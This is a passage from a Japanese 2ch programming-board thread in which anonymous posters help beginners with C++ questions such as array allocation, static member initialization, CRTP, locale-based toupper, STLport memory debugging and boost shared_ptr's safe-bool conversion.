NGNGVC++でもエントリポイントをちゃんと指定すれば通るんじゃない?
0595デフォルトの名無しさん
NGNG一通り見たのですが、よく解りません。
ActiveXについて他にないでしょうか?
0596デフォルトの名無しさん
NGNG読めってことじゃなくて、そっちで聞けって事じゃないのか?
0597デフォルトの名無しさん
NGNGどうすればいいですか。
0599デフォルトの名無しさん
NGNG0600デフォルトの名無しさん
NGNGここでやってます
Generic Programming with C++ Template
http://pc.2ch.net/test/read.cgi/tech/1008593126/
0601デフォルトの名無しさん
NGNGだって、まとまってないんだもん。
0603初心者K
NGNGどしたらいいんだろ?
char tt[x][20]は
char (*tt)[20]= new char[x][20];
で取れることが解ったんだが。。。。。
だれかおしえてちょーだい!!
0604デフォルトの名無しさん
NGNGchar tt[x][y][20];
0605初心者K
NGNGうーん、x=100, y=100とすると確かにできるけど、
x=変数A, y=変数Bとすると、エラーになる。。。。。
僕の解釈の仕方が悪いのかな?
0606デフォルトの名無しさん
NGNG0607初心者K
NGNGchar (*tt)[30][20]= new char[x][30][20];ってやって進んでますが。。。。
>typedefして配列を一段ずつにわけるとか?
っていうのは、char[y][20]っていうのをtypedefするわけですか?
やってみます。。。。あそこって変数でいいのかな?
0608デフォルトの名無しさん
NGNGどうしてもってのならvectorを多段とかがいいかも。
0609デフォルトの名無しさん
NGNGまずは「あいうえお」を表示してみたい!
どしましょう?
0610デフォルトの名無しさん
NGNG0611デフォルトの名無しさん
NGNG0612デフォルトの名無しさん
NGNGIOポートを叩くんだ!
0613デフォルトの名無しさん
NGNGWriteConsole
0614デフォルトの名無しさん
NGNG{
return string("test");
}
main()
{
string& str = func();
cout << str << endl;
}
上のように一時オブジェクトを参照で受け取った場合、
その一時オブジェクトの寿命は参照のスコープと同一になると聞いたのですが、
プログラミング言語 C++ 第三版 のどの辺にその記述があるのでしょうか?
0615デフォルトの名無しさん
NGNGconst T& なら §5.5 と §10.4.10 あたり。
>非constリファレンスで一時オブジェクトを縛ることはできないこと(§5.5)を忘れないようにしていただきたい。
0616デフォルトの名無しさん
NGNG俺の直感だと本の2/5くらい目のところに書いてあったと思われ
0617609
NGNGBorland C++ Compiler 5.5の基本的なことを教えてガリレオ!
0618デフォルトの名無しさん
NGNG今すぐアンインストールして寝ろ。
0619デフォルトの名無しさん
NGNG多くの処理系で問題なさそう
0620617
NGNG0621デフォルトの名無しさん
NGNGnotepadでプログラム書け。
0622デフォルトの名無しさん
NGNGメモ帳で、
@echo off
echo あいうえお
pause
と書く。名前を付けて保存で、ファイルの種類をすべてのファイル
として、ファイル名をaiueo.batで、My Documentsの下等に保存。
aiueoをクリックして完成だ!
0623609
NGNG0624609
NGNG0625デフォルトの名無しさん
NGNGスレ違いになりつつあるから、別スレに移動してくれ。
0626デフォルトの名無しさん
NGNGでもこれBorland C++ Compiler 5.5が表示してるの?
0627デフォルトの名無しさん
NGNG0628デフォルトの名無しさん
NGNG0629デフォルトの名無しさん
NGNG初期化時に関数の外(?)で「データ型 クラス名::静的メンバ変数名 = 初期値;」
という方法で初期化しますよね。そこまではコンパイルを通ります。
問題は、静的メンバ変数をさらに配列にした場合なのですが・・・。
どうしてもそこの初期化が通りません。
Class CTest{
public:
static int a[3];
}
int CTest::a[0] = 0; // ←ここでエラーが出ます。
おおむねこんな感じです。どうかよろしく。
0630デフォルトの名無しさん
NGNGint CTest::a[3] = {0};
0631デフォルトの名無しさん
NGNG0632631
NGNG0633629
NGNGぐあ、いとも簡単に・・・。ありがとうございました。
便乗質問なのですが、ここで初期化数の数が不定な場合
どう書くべきでしょうか?
#define MAX_NUM 8
int CTest::a[MAX_NUM] = {0,0,0,0,0,0,0,0};
これではちょっと汚いので・・・。
0634デフォルトの名無しさん
NGNGint CTest::a[3];
で全ての要素が自動的に 0 で埋まると思うんですが、
違いましたっけ。
0635デフォルトの名無しさん
NGNG正解。
静的変数はコード領域とかに置かれてプログラムイメージの時点で
モジュールに組み込まれてるから初期化済み。
0636629
NGNGあ!それでも通りました!
僕のプログラムではintではなくポインタなので
NULLで初期化するのですが、まぁ一緒ですしね。
多分問題なく使えると思います。ありがとうございました。
0637デフォルトの名無しさん
NGNGint a[100] = {0};
で全部0になる。
0638ハロハロ
NGNGC++でマインスイーパ(ファイルに入出力ができて上位10人
が表示される)プログラムがうまくつくれません。どなたか
プログラミングに精通されてるかたがいたら教えて下さい。
0639デフォルトの名無しさん
NGNG構造体の中に入れたいのですが、
構造体の定義は、どうすればよいでしょうか?
例えば、
bool Test::XXX(void);
を入れる場合、
typedef struct
{
???????
} YYY_ZZZ;
???????はどうしたらよいでしょうか?
0640デフォルトの名無しさん
NGNGstruct S
{
bool (Test::*x)();
};
void f()
{
S s;
s.x = &Test::XXX;
...
Test t;
(t.*s.x)();
...
0641デフォルトの名無しさん
NGNG0642デフォルトの名無しさん
NGNG0643デフォルトの名無しさん
NGNG0644デフォルトの名無しさん
NGNG0645デフォルトの名無しさん
NGNGまじで?
0646643
NGNGそれ見て勉強したい!
0647643
NGNG一応x68000のc言語とアセンブラはできるんですけど
ちょっと違うだけだろ?
0648デフォルトの名無しさん
NGNG0649デフォルトの名無しさん
NGNG0650デフォルトの名無しさん
NGNG0651デフォルトの名無しさん
NGNGそうです。
0652デフォルトの名無しさん
NGNG意味不明。もっと具体的に、なにをやりたくてどこが分からないのか書いて。
0653デフォルトの名無しさん
NGNG0654デフォルトの名無しさん
NGNG質問自体がとんちんかんなんだよ。
>641
クラスでの、で何を限定してるつもりなのか知らんが
vectorの使い方なんてvectorのドキュメントに書かれていることだけだ。
クラスかどうかがどう関係してくると思ってるんだ?
0655デフォルトの名無しさん
NGNG0656デフォルトの名無しさん
NGNG0657デフォルトの名無しさん
NGNG教えてくだちい.なんかカコイイ方法きぼんぬ
c_strでポインタ取得してtoupper()する方法しか思い付かない・・・鬱氏
0658そくちす
NGNGcharに渡して片端から0x20引いてやればいいじゃん
なんて書く漏れは逝ってきます
0659デフォルトの名無しさん
NGNGまた面倒くさそうだ。
0660デフォルトの名無しさん
NGNGイテレータで回せ
0662デフォルトの名無しさん
NGNG速い遅い以前に、const char *を書き換えること自体が間違ってる。
0663デフォルトの名無しさん
NGNG読み出すだけにして,新しいstringを作成してそちらに書き込みます.
・・・重いよなぁ
0664デフォルトの名無しさん
NGNGたいていの場合、コンパイル時に生ポインタ及びそれに近い物に展開される。
0666デフォルトの名無しさん
NGNGイテレータ使ったほうが速い?
0667デフォルトの名無しさん
NGNG一生挫折してろよ(w
0668デフォルトの名無しさん
NGNG0669デフォルトの名無しさん
NGNG悔しかったら答えてみろよ
0670デフォルトの名無しさん
NGNG0671デフォルトの名無しさん
NGNGループが局所的で、しかも複数の配列にアクセスするときは
インクリメント回数が少ないoperator[]のほうが断然速いそうだ。
stringもそうなのかは知らないけど
0672T
NGNGオブジェクトのサイズが激減するらしく、実装したいのです。
0673デフォルトの名無しさん
NGNG悔しがらせたかったのか?
漏れは別に何とも思わなかったが・・・
てか、おまえはできるのか?
0674デフォルトの名無しさん
NGNG0675673
NGNGスマソ
0676デフォルトの名無しさん
NGNGたとえばこんな感じ?
[foo.h]
template<class T> class A {
public:
void foo( const T& x );
};
[foo.cpp]
#include "foo.h"
template<class T> void A<T>::foo( const T& x ) { /* …… */ }
template class A<int>;
[main.cpp]
#include "foo.h"
int main()
{
A<int>().foo(1);
}
0677デフォルトの名無しさん
NGNGprotected:
typedef map<string, int, ics_less> valuemap;
valuemap value_table;//ここでエラー
}
のようにするとコンパイル時に無限ループになってしまうのですが、
なぜなってしまうのでしょう。なにかおかしなところがあるのでしょうか。
以下のような文が延々と表示されてしまいます。
c:\program files\microsoft visual studio\vc98\include\map(27) : warning C4786: '??R_Kfn@?$map@V?
$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@HU?$less@V?$basic_string@DU?
$char_traits@D@std@@V?$allocator@D@2@@std@@@2@V?$allocator@H@2@@s
0678デフォルトの名無しさん
NGNG無限ループってことは、コンパイルが終了しない? そんなことには
なっとらんでしょ。たぶん VC++ の FAQ と思われ。「C4786」 で
検索してごらん。
0679デフォルトの名無しさん
NGNG0680デフォルトの名無しさん
NGNG日本語は勘弁。
#include <iostream>
#include <string>
#include <algorithm>
using namespace std;
void Toupper(char &c) {
c = toupper(c);
}
int main()
{
string str;
cin >> str;
for_each(str.begin(), str.end(), Toupper);
cout << str;
}
0681デフォルトの名無しさん
NGNG関数オブジェクト化(笑)
struct Toupper {
void operator()(char &c) {
c = toupper(c);
}
};
...
for_each(str.begin(), str.end(), Toupper());
0682デフォルトの名無しさん
NGNG0683デフォルトの名無しさん
NGNG0684デフォルトの名無しさん
NGNGttp://www.fides.dti.ne.jp/~oka-t/cpplab-ctype.html
0685デフォルトの名無しさん
NGNG知らなかった(・∀・)♪
0686デフォルトの名無しさん
NGNGできるかと思ったけどダメですた。
0687デフォルトの名無しさん
NGNG俺も知らなかった(・∀・)♪
0688デフォルトの名無しさん
NGNGttp://www-scc.tokyo.jst.go.jp/riyou/users/users_guide/ucoma/FJcompiler/C++/stdlib/stdug/loc_io/index.htm
↑で勉強して↓こんなんでそれなりに動いたよ。(エラー処理は省略)
〜〜〜〜〜
#include <locale>
#include <string>
#include <iostream>
int main()
{
using namespace std;
typedef ctype< char > ctype;
const ctype& ct = use_facet< ctype >( locale() );
string s;
while( cin >> s )
{
ct.toupper( s.begin() , s.end() );
cout << s << endl;
}
return 0;
}
〜〜〜〜〜
locale() を locale("japanese") に換えたら日本語いけるかとおもったけど、
access violation で落ちた。
0689デフォルトの名無しさん
NGNG仕方ないのでしょうか?
template <class T>
class Wrapper
{
T value;
public:
Wrapper(T arg) : value(arg) {}
operator typename T() const { return value; }
friend ostream &operator<< <T>(ostream &stream, const Wrapper<T> &obj);
};
template <class T>
ostream &operator<<(ostream &stream, const Wrapper<T> &obj)
{
stream << obj.value;
return stream;
}
int main()
{
Wrapper<string> n("abc");
cout << n << endl;
cout << string(n) << endl;
}
0690デフォルトの名無しさん
NGNGコンパイラは何を使ったの? g++ 3.0.4 だとちゃんとコンパイルできたけど。
0691デフォルトの名無しさん
NGNGBorland-C++5.5.1と、gcc2.95.3(MinGW)です。
テンプレート関数・クラスを前方宣言すると、解決しない?
template <class T> class Wrapper;
template <class T> ostream& operator<<(ostream& stream, const Wrapper<T>& obj);
0693デフォルトの名無しさん
NGNGありがとうございます!!無事解決しました!どの本を読んでも書いて
なかったので助かりました(・∀・)
0694デフォルトの名無しさん
NGNGMinGWでは相変わらずエラー出るじゃん。
wrapper.cpp:14: parse error before `('
wrapper.cpp:14: ANSI C++ forbids declaration `<invalid operator>' with no type
wrapper.cpp: In function `int main()':
wrapper.cpp:30: no matching function for call to `basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::
basic_string (Wrapper<basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> > > &)'
/include/g++-3/std/bastring.h:171: candidates are: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::basic_string()
/include/g++-3/std/bastring.h:172: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::
basic_string(const basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> > &)
/include/g++-3/std/bastring.h:174: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::
basic_string(const basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> > &, unsigned int, unsigned int = basic_string<charT,traits,Allocator>::npos)
/include/g++-3/std/bastring.h:176: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::basic_string(const char *, unsigned int)
/include/g++-3/std/bastring.h:178: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::basic_string(const char *)
/include/g++-3/std/bastring.h:180: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::basic_string(unsigned int, char)
Execution terminated
0695デフォルトの名無しさん
NGNGたぶん、その 14行目、typename を削除すると通ると思う。
そもそも、こんなとこに typename は不要だよね。
つか、こんなとこに typename って書けるんか?
0696デフォルトの名無しさん
NGNG本当だね、typenameを削除したら、gccでも通ったね。
2chはすごいね。会社の先輩に聞いても首をひねっていた難問ですた。
0697C++初楽者
NGNG宜しければ皆様のお知恵を拝借させて下さい。
class A {
protected: virtual void hage() = 0;
public: void hoge() { for( int i = 0; i < 10000000; ++i ) hage(); };
};
class B : public A {
protected: virtual hage() { ::GlobalCount++; };
};
B::hage() は Java でいう final でして A::hoge() の内部で B::hage() を
インライン展開する B::hoge() を実装しようと模索しております。
しかしながら A::hage() は virtual なため関数呼び出しになってしまい、
今一つうまくいっておりません。
B::hoge() { for( int i = 0; ... ) ::GlobalCount++; }
こんな感じで自動的に展開されると嬉しいのですが…。
良い解決法をご存知の方、どうかご教示お願いいたします。
0698デフォルトの名無しさん
NGNG仮想関数はインライン展開されないよ。
0699697
NGNGどうも、レスありがとうございます。
仮想関数は展開されないのはわかっておりますが、
そこをなんとかしたいのでございます。
使いなれないテンプレートなどでどうにかできないものか
悪あがきをしておりますがなかなかうまくいかないものでして…。
0700デフォルトの名無しさん
NGNG素直にstd::for_each()使え。
0701デフォルトの名無しさん
NGNG原理的に無理。C++ には final キーワードがない以上
class C : public B
{
protected:
virtual void hage();
};
と定義することも可能で、この場合 C::hoge() の中では C::hage() を呼ぶ必要が
あるでしょ?
// インライン展開したら、これに C のインスタンスが渡されたときに
// 不正な動作をすることになる
void call_hoge(B* p) { p->hoge(); }
目的が 10000000 回 hage() を呼ぶという処理を共有したい (Strategy パターン
を効率よく実装したい) ならテンプレート使うかな。
template <class T>
struct HogeMixin
{
void hoge()
{
for( int i = 0; i < 10000000; ++i )
static_cast<T*>(this)->hage();
}
};
class B : public HogeMixin<B>
{
void hage() { ::GlobalCount++; }
friend struct HogeMixin<B>;
};
0703C++初楽者(要修行)
NGNG>>700
多少入り組んでおりまして実際のコードはループではないのですが
見るほどに私のコードは野暮ったいと思っております。(^-^;;
>>701
ありがとうございます。なるほど、素晴らしい手法です。
自らの型を引用してテンプレート…うーん、なるほど…思わず
うなってしまいました。
virtual は…際限無くオーバライドできてしまうので最適化だけの面で
見ると、私のような愚者には自由度がやや高すぎますね。(^-^;;;
701さんの手法は大変クレバーで勉強になりました…!
重ね重ねですが、ありがとうございました。
0704デフォルトの名無しさん
NGNGprotected: hage() { ::GlobalCount++; };
};
0705デフォルトの名無しさん
NGNGclass A {
protected: virtual void hage() = 0;
public: void hoge() { for (int i = 0; i < 10000000; ++i) static_cast<T*>(&this)->hage(); }
};
class B : public A<B>
{
protected: inline void hage() { ::GlobalCount++; };
}
0706質問
NGNGmain()
{ long i;
double sum;
/*数列の値*/
double a[11]={0.0,1.0,4.0,9.0,16.0,25.0,36.0,49.0,64.0,81.0,100.0,};
sum=0;
for(i=0;i<11;i++)
{
sum += a[i];
}
printf("%d\n",sum);
}
数列a[0],a[1],・・・,a[10]の和のプログラムなんですけど、配列の中に数字が入ってないみたいなんです。
どこが間違えてるか教えてください。
0707デフォルトの名無しさん
NGNGコンパイルエラーだって。
それと class 定義の中に書いたメソッドは、暗黙のウチに inline 扱いされるから、
B::hage() の inline 指定は無意味だし、A::hage() を仮想関数にした時点で、たと
え派生クラスにキャストしようが B::hage() はインライン展開されない。
0708707
NGNG> え派生クラスにキャストしようが B::hage() はインライン展開されない。
これは嘘だね。ごめん。
0709デフォルトの名無しさん
NGNG書き込むスレを間違えてる。C 言語スレだろう。
0710デフォルトの名無しさん
NGNG俺なら別名の関数をインラインにするけど。
0711デフォルトの名無しさん
NGNGthisはポインタですよ:-)
0712デフォルトの名無しさん
NGNGたとえば、以下のような感じで処理をしたいのですが。
VCの__tryブロックが2段に出来ないので、もしかしたらよくないスタイルなのかな、と思ったり。
try {
socket socket;
try {
socket.connect(〜);
}
catch (apperr&) {
}
}
catch (socketerr&) {
}
0713デフォルトの名無しさん
NGNG必要があれば、全然構わんと思いますが。
そのように処理したいなら、そのようにするしかあるまい。
0714デフォルトの名無しさん
NGNG感無量
0715デフォルトの名無しさん
NGNG{
std::string tmp = cmd + "\r\n";
do_exec(tmp.c_str());
}
このような書き方をすると、エラーになるのですが間違いなのでしょうか?
tmpには一時オブジェクトのコピーが入るはずなので、安全だと思っていたのですが。
ちなみに、
std::string tmp = cmd; tmp += "\r\n";とすると正常に動作するようです。
VC++6.0 STLPort 4.51
0716デフォルトの名無しさん
NGNG>エラーになるのですが
エラーメッセージ書かないあなたに乾杯。
0717デフォルトの名無しさん
NGNG0718デフォルトの名無しさん
NGNG実際の大規模プロジェクトで採用に値するものなのか疑問。
規模が大きければそれだけクラスの数も多くなるわけだから、
ハンドルクラスにしろプロトコルクラスにしろ、
支払うコストが膨大になるような気がするんだけど。
0719デフォルトの名無しさん
NGNGエラーメッセージは出ません。
メモリ破壊が起きているようで、不正終了します。
0720デフォルトの名無しさん
NGNG恐らく、その部分が悪いのではない。別の所でメモリを破壊したのが影響しただけでは。
0721デフォルトの名無しさん
NGNGとりあえず pimpl イディオム程度なら、大したコストを掛けずに依存関係を
減らせる。pimpl も使わないと、ほんとに
ヘッダを一行修正したら、
全ファイルをコンパイルし直し
みたいな事態になりかねんので、かなりキツい。
0722デフォルトの名無しさん
NGNGdebug printを入れるだけで発生箇所が変わるので、そのようです。
20MBもあるソースなので、原因特定も困難です(涙
その意見に一票。
VC6 + STLport なら、ヒープのチェック機能を有効にして、走らせてみれば。
共通ヘッダに
#define _STLP_DEBUG
#define _STLP_MALLOC
#define _CRTDBG_MAP_ALLOC
と書いておいて、さらに main / WinMain 関数の最初で
_CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_LEAK_CHECK_DF);
を実行しておく。
0724719
NGNGやっぱり問題のソースのバグではない気がしてきました。
>cl -MD -GX -O1 test.cpp
で再現しました。
#include <cstdio>
#include <string>
void func(const std::string& str)
{
std::string tmp = str + "\r\n";
std::printf(tmp.c_str());
}
main()
{
func("test");
}
0725デフォルトの名無しさん
NGNG"test":char *
手元の VC6. SP5 + STLport 4.5.3 だと再現しません。ただ printf() が std 名前空間に
入らんので、コンパイルを通すために、ここだけ書き直しましたが。
考えられるのは STLport の DLL が腐ってるとか、かなぁ。デバッグ情報付きでコンパ
イルして、ステップ実行してみては?
0728デフォルトの名無しさん
NGNGBorland-C++5.6(STLPort)でも再現しません。きちんと動作します。
0730719
NGNG0731デフォルトの名無しさん
NGNGpurifyもBoundsCheckerもありませんが、Borland-C++5.6にはCodeGuard
がありますので、それを有効にして走らせてみましたが、エラーは検出
されませんでした。
0733デフォルトの名無しさん
NGNGシステムの規模が大きくなってもクラス間の結びつきをできる限り
疎に抑えるような設計をすれば大丈夫。
0734デフォルトの名無しさん
NGNGBOOSTのソース読んで極めちゃおうと思ったんですが
全然読めないです。
0735デフォルトの名無しさん
NGNG↓まずはここでも嫁。
http://www.dodgson.org/lab/hat/boost_intro.html
0736719
NGNGSTLPort標準のアロケータから、 _STLP_USE_NEWALLOCにアロケータを変更した後、
リビルドするのを忘れていたのが原因でした。
つきあってくれた皆さん、ありがとうございました m(..)m
0737デフォルトの名無しさん
NGNGおめでとう。
0738デフォルトの名無しさん
NGNG0739デフォルトの名無しさん
NGNGみんな勉強熱心なんだね。
俺も頑張ろう。
0740デフォルトの名無しさん
NGNGfopenでバイナリでファイルをオープンしてINT型で格納された数値を読み出すとき
私はfread_int(FILE *fp)という関数を作ってその関数の内部でa_temp[4]みたいなchar型で一度読み込んだ後
内部で計算してやってINT型の数値で戻してやるという方法をとっているのですが(^^;
もしかしてもっといい方法があるんでしょうか?
この関数を見るたんびにもっといい方法があるんじゃないかと心配になるのですが・・・
(ちなみに書きこむときもINT型からchar型に変換して書きこむということをしています)
0741デフォルトの名無しさん
NGNGfreadは普通にintも読めるだろ
つーかスレ違いだ。
0742デフォルトの名無しさん
NGNGint i;
fread(&i, sizeof(int), 1, fp);
0743740
NGNGなんか過去に
01 23 45 67
みたいなバイナリデータを読み込んだら
intだと0x67452301になるはずなのに
0x01234567ってなったからfreadじゃだめなのかと思ってました(−−;
たぶん思い違いなのでさっそく確認してみます。ありがとうでした。
(やはり馬鹿なことしてたんだなぁ・・・)
0744デフォルトの名無しさん
NGNGBEならそうなるでしょ
0745デフォルトの名無しさん
NGNGそいつについては、little endianの問題が絡んでいるんだろうから、
今すぐintをcharで読むようなやり方はやめるべきです。
0746デフォルトの名無しさん
NGNG失礼。>>744さんの通り、Big Endianでした。
0747デフォルトの名無しさん
NGNG行っているのかよく分かりません。どなたか回答をお願い致します。
#include "asn1.h"
/* write int in least amount of bytes, return number of bytes */
/* as used in ASN.1 length */
int fmt_asn1length(char* dest,unsigned long l) {
/* encoding is either l%128 or (0x80+number of bytes,bytes) */
int needed=(sizeof l);
int i;
if (l<128) {
if (dest) {
*dest=l&0x7f;
}
return 1;
}
for (i=1; i<needed; ++i)
if (!(l>>(i*8)))
break;
if (dest) {
int j=i;
*dest=0x80+i; ++dest;
while (j) {
--j;
*dest=((l>>(j*8))&0xff);
++dest;
}
}
return i+1;
}
0749747
NGNG#include "asn1.h"
/* write int in least amount of bytes, return number of bytes */
/* as used in ASN.1 length */
int fmt_asn1length(char* dest,unsigned long l) {
/* encoding is either l%128 or (0x80+number of bytes,bytes) */
int needed=(sizeof l);
int i;
if (l<128) {
if (dest)
*dest=l&0x7f;
return 1;
}
for (i=1; i<needed; ++i)
if (!(l>>(i*8)))
break;
if (dest) {
int j=i;
*dest=0x80+i; ++dest;
while (j) {
--j;
*dest=((l>>(j*8))&0xff);
++dest;
}
}
return i+1;
}
0750デフォルトの名無しさん
NGNG0751747
NGNG具体的な処理は分からないです・・・。
0752デフォルトの名無しさん
NGNG最初の3行のコメントに何もかも書いてある気がするが・・・
0753デフォルトの名無しさん
NGNGときってどうしてますか?
if (ptr.get() != NULL){
// 所持してる場合の作業
}
今まではこうやってましたけど、さっき実験してみたら、
if (ptr){
// 所持してる場合の作業
}
でOKみたいなことが分かりました。
ソースを見た感じだとoperator bool_type() が働いてるからみたいですが、
これ、いったいどういう動作をしてるんでしょうか?
メンバ関数ポインタを返して???? わけが分かりません。
0754デフォルトの名無しさん
NGNGここか?
operator bool_type() const // never throws
{
return px == 0? 0: &this_type::use_count;
}
pxが0なら0、でなければ参照カウンタの値を返してるだけだと思うが。
0756デフォルトの名無しさん
NGNGそれのどこを説明しろと・・・
0757747
NGNGfor (i=1; i<needed; ++i)
if (!(l>>(i*8)))
break;
0758デフォルトの名無しさん
NGNGそれくらい頭ん中で展開してくれ
0759デフォルトの名無しさん
NGNGはじめ i は 1、i が needed より小さい間 i を増加しつつループ
l を 右に i*8 シフトしたものが 0 ならばループを抜ける。
何か問題でも?
0761デフォルトの名無しさん
NGNGえーっと、メンバ関数ポインタが帰ってきたら、if文が勝手にメンバ関数を
呼び出して、その戻り値をboolとして判断するために利用するんですか?
そんな呼び出し規約なんて、C++にありましたっけ?
0762デフォルトの名無しさん
NGNGつーかそのメンバ関数ポインタってどっから来たの?
0763デフォルトの名無しさん
NGNGまた初めからファイルの先頭から読み込みたい場合はどうすればいいんでしょうか
0764デフォルトの名無しさん
NGNG0765デフォルトの名無しさん
NGNGifs.clear(); ifs.seekg(0, std::ios::beg);
0766763
NGNG0767761(=753)
NGNGどっからって……もちろん、shared_ptrの定義から出てきたんですけど。
typedef shared_ptr<T> this_type;
long use_count() const // never throws
{
return pn.use_count();
}
typedef long (this_type::*bool_type)() const;
operator bool_type() const // never throws
{
return px == 0? 0: &this_type::use_count;
}
……メンバ関数ポインタですよね?
こっから、どうやって『参照カウンタの値を返している』んですか?
0768デフォルトの名無しさん
NGNG0769デフォルトの名無しさん
NGNG0770デフォルトの名無しさん
NGNG0771デフォルトの名無しさん
NGNG0772デフォルトの名無しさん
NGNG0773デフォルトの名無しさん
NGNG0774デフォルトの名無しさん
NGNG漏れのbostにはそんなコード無かった(バージョン違いかしら?)けど、
そのコードはメンバ関数のアドレスを返してるだけで、
参照カウンタの値なんか返してないでしょ。
0775デフォルトの名無しさん
NGNG0777デフォルトの名無しさん
NGNG2ちゃんのレスなんざ信用するな。自分で確認しる。
何が返されるかなんてちょっとテストコード書けばすぐわかるでしょ。
0778769
NGNG0779デフォルトの名無しさん
NGNGんじゃこれ見れ > ISO+IEC+14882-1998.pdf
0780769
NGNGhttp://www.fh-worms.de/~progbau/Vorlesungen/SW-Entwicklung/C++/Standard/
http://www.rgai.hu/~beszedes/munka/
0781デフォルトの名無しさん
NGNG0782デフォルトの名無しさん
NGNGboost 1.28にはあるよ。
>>761
無い。単純に operator bool() を用意すると shared_ptr<T> → int みたいな
妙な暗黙の変換も成功してしまうので、それを避けるために適当にメンバ関数ポインタを
返してるだけだと思ふ。
0783デフォルトの名無しさん
NGNG2番目やばすぎるよ。
なんでRoseEEが置いてあるんだよ!
0784デフォルトの名無しさん
NGNGviral executable
0785デフォルトの名無しさん
NGNG0786769
NGNGフローティング ¥1,050,000
ノードロック ¥590,000
(゚д゚)ポカーン
((゚д゚))
((((゚д゚;))))ガクガクブルブル
どうしよう・・・これってだれかダウソしたらURL晒した俺に責任あるのかな
だってISO+IEC+14882-1998.pdfをググったら勝手に出てきたんだよぉ( ´Д⊂ヽ
ラショナルソフトウェアさん、俺は無実です。
0787デフォルトの名無しさん
NGNG0788デフォルトの名無しさん
NGNG漏れは会社で使えるからわざわざおとさん
0789デフォルトの名無しさん
NGNGhttp://pc.2ch.net/test/read.cgi/pcqa/1023993089/
で板TOPを改善しようプロジェクトが発動してます。
暫定案ですがこんな感じです。
http://isweb25.infoseek.co.jp/computer/pcqa-2ch/cgi-bin/img/284.jpg
皆さんの意見要望およせください。
よろしくお願いします。
0790デフォルトの名無しさん
NGNG? (゚д゚) ? このスレというか、この板と何の関係が
0791デフォルトの名無しさん
NGNG0792デフォルトの名無しさん
NGNGjpgでhtmlが開くの怖いんですが
0793761
NGNG1.28での質問なのでした。
>>782
ありがトン。そういうレスが欲しかったの。
で、また疑問なんですですが。
if文にshared_ptrオブジェクトを持ってきたら、このoperator bool_typeに
暗黙の変換が行われて、さらにboolに暗黙の変換が行われるわけですよね。
ってことは、2段階の暗黙の変換が行われるわけですよね……。1段階だけじゃ
なくて2段階も許すって事は、n段階も許すってことになりませんか?
コンパイラは、型変換演算子もしくはimplicitなコンストラクタがある限り、
ずーっと探し回らなくちゃならないっぽいんですけど、このへんは
どうなってるんですか?
『2段階まで』って厳密に決まってんですかね?
0794デフォルトの名無しさん
NGNGoperator bool で返した場合は、shared_ptr → int が暗黙の変換でいけるから危険。
operator ???* で返した場合は、if の中に直接置けて( 0 と比較できて)
???* → int は暗黙の変換はできないから、shared_ptr → int にはできなくなる。
って話しかなぁ。
0795782
NGNG> if文にshared_ptrオブジェクトを持ってきたら、このoperator bool_typeに
> 暗黙の変換が行われて、さらにboolに暗黙の変換が行われるわけですよね。
No. 「if( X ) expr」 は、
X==0 でないなら expr を実行して、 X==0 なら expr を実行しない、つーだけだ。
んで、Xがshared_ptr<>だったらコンパイラは、==0できるような型への
変換を探して、よっしゃ operator bool_type() があったぞっつーことで
bool_typeに変えてから ==0 で比較して終わり、だ。boolの出る幕はどこにも無いなり。
0797デフォルトの名無しさん
NGNG0798デフォルトの名無しさん
NGNGおまえ朝から何やってんだ?
引きこもり君ですか?
0799デフォルトの名無しさん
NGNGどなたか教えてください。
0800デフォルトの名無しさん
NGNG( ゜Д゜) < ムーンウォークで 800ゲットォォォオオオ!!
./ つ つ \_______________
〜(_⌒ヽ (´⌒(´
.)ノ `J≡≡≡(´⌒;;;≡≡≡
(´⌒(´⌒;;
ズザーーーーーッ
0801デフォルトの名無しさん
NGNG'C:\WINDOWS\SYSTEM\KERNEL32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\ADVAPI32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\GDI32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\USER32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\IMM32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\IMEJP98K.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\COMCTL32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\IMEJP98.IME' をロードしました、合致するシンボル情報は見つかりませんでした。
'C:\WINDOWS\SYSTEM\USBHOOK.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
0802デフォルトの名無しさん
NGNG正常。
0803デフォルトの名無しさん
NGNG助けるも何も・・・
0804デフォルトの名無しさん
NGNGみんなそうだよ。
0805デフォルトの名無しさん
NGNGあふぉな質問に答えてくれてありがとうございます。。。
0806デフォルトの名無しさん
NGNGやってみて大丈夫そうだったんですが、実は問題アリってことは無いでしょうか。
0807デフォルトの名無しさん
NGNG初期化処理を初期化時以外に呼び出す必要があるのかと小一時間。
0808デフォルトの名無しさん
NGNG0809デフォルトの名無しさん
NGNGとりあえず一旦全部のメンバを初期化するコンストラクタを呼ぼうかなと思いまして。
今は初期化関数をそれぞれのコンストラクタから呼んでるんですが、省けるなら省いとこうかなと。
0810デフォルトの名無しさん
NGNG引数ありのコンストラクタのオーバーロードから引数無しの初期化だけを行うコンストラクタを呼び出すのって乗藤樹団じゃないの
0811デフォルトの名無しさん
NGNGデストラクタはともかく、そもそもコンストラクタって呼べたっけ? あれは
名前無しで、外から呼び出すのは無理だと思ったけど。
0812デフォルトの名無しさん
NGNGそうなんですか。
知らなかったです。どうもでした。
0813デフォルトの名無しさん
NGNGへ? そんなことできたっけ? どうやって呼び出すのん?
0814デフォルトの名無しさん
